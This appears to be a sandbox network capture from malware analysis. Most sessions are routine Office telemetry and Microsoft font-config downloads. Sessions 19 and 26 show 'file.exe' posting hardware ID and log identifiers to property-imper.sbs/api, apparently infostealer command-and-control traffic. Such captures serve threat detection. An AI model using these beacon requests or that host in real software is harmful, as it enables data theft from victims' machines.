Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.10	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:46 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074347Z-178bfbc474bp8mkvhC1NYCzqnn00000005m0000000001gnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.10	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:46 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074347Z-174c587ffdfks6tlhC1TEBeza4000000046g000000008wqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49730	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:47 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7IHWDYWFPZ56AI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: property-imper.sbs
2024-11-24 07:43:47 UTC	12829	OUT	Data Raw: 2d 2d 37 49 48 57 44 59 57 46 50 5a 35 36 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 30 34 35 34 44 45 31 38 42 30 45 35 35 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 49 48 57 44 59 57 46 50 5a 35 36 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 49 48 57 44 59 57 46 50 5a 35 36 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 49 Data Ascii: --7IHWDYWFPZ56AIContent-Disposition: form-data; name="hwid"9790454DE18B0E55D7CBBD6DF28D3732--7IHWDYWFPZ56AIContent-Disposition: form-data; name="pid"2--7IHWDYWFPZ56AIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7I
2024-11-24 07:43:49 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6f03ln48pi5qmfvg8n7qa0uqd8; expires=Thu, 20-Mar-2025 01:30:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nG3gvFIWMEOdpbH6fjayBzxtoJAjlVyh6Sbm51V%2BwkR7PefLkqtEF7SwviPb%2FQw8bnYrT5UCnax%2B4F8gB6NuXzZZkMFeXkvPcDVwrrRWH4EzSOlXHAbIktRumv%2BMwK7yMDlznXI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c525b90519bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1882&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13767&delivery_rate=1590413&cwnd=213&unsent_bytes=0&cid=20c62d05983cedad&ts=1621&x=0"
2024-11-24 07:43:49 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:43:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49729	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:48 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 07:43:48 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=179361 Date: Sun, 24 Nov 2024 07:43:48 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-24 07:43:48 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.10	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:48 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 000c37a0-d01e-002b-0920-3d25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074349Z-15b8b599d88s6mj9hC1TEBur3000000003z0000000007nk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:49 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.10	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:48 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074349Z-178bfbc474b7cbwqhC1NYC8z4n00000005eg00000000fgwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:49 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.10	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:48 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074349Z-178bfbc474bbbqrhhC1NYCvw7400000005v0000000004ywk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.10	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:49 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ffa30f7-401e-000a-3a5c-3d4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074349Z-174c587ffdf8fcgwhC1TEBnn7000000004c0000000001pnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:49 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.10	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:49 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:49 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074349Z-174c587ffdfldtt2hC1TEBwv9c00000003v000000000nuuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 07:43:49 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49741	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:51 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QLQ4OTE0Q9QN83X9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15068 Host: property-imper.sbs
2024-11-24 07:43:51 UTC	15068	OUT	Data Raw: 2d 2d 51 4c 51 34 4f 54 45 30 51 39 51 4e 38 33 58 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 30 34 35 34 44 45 31 38 42 30 45 35 35 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 51 4c 51 34 4f 54 45 30 51 39 51 4e 38 33 58 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 4c 51 34 4f 54 45 30 51 39 51 4e 38 33 58 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --QLQ4OTE0Q9QN83X9Content-Disposition: form-data; name="hwid"9790454DE18B0E55D7CBBD6DF28D3732--QLQ4OTE0Q9QN83X9Content-Disposition: form-data; name="pid"2--QLQ4OTE0Q9QN83X9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-24 07:43:51 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5issl1atoirf5v4t6n8s7d5uip; expires=Thu, 20-Mar-2025 01:30:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c0PZkzqgKt5ktcHRPsMoguj98qj3Eb4pMNozXqfRWbMNqklakcgRwBDViV3YpjBgm3%2FlN0oV8kGIinWg6x2DYrsQjDHEAb%2BsOSCmM40bBXn%2B3IP1xpqYGsPlIEVuj2DcFD4fvxI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c5391cfd4303-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16008&delivery_rate=1699650&cwnd=235&unsent_bytes=0&cid=4c8a5e6e9bcb807a&ts=907&x=0"
2024-11-24 07:43:51 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:43:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.10	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:51 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074351Z-178bfbc474bfw4gbhC1NYCunf400000005r0000000003ws1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.10	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:51 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
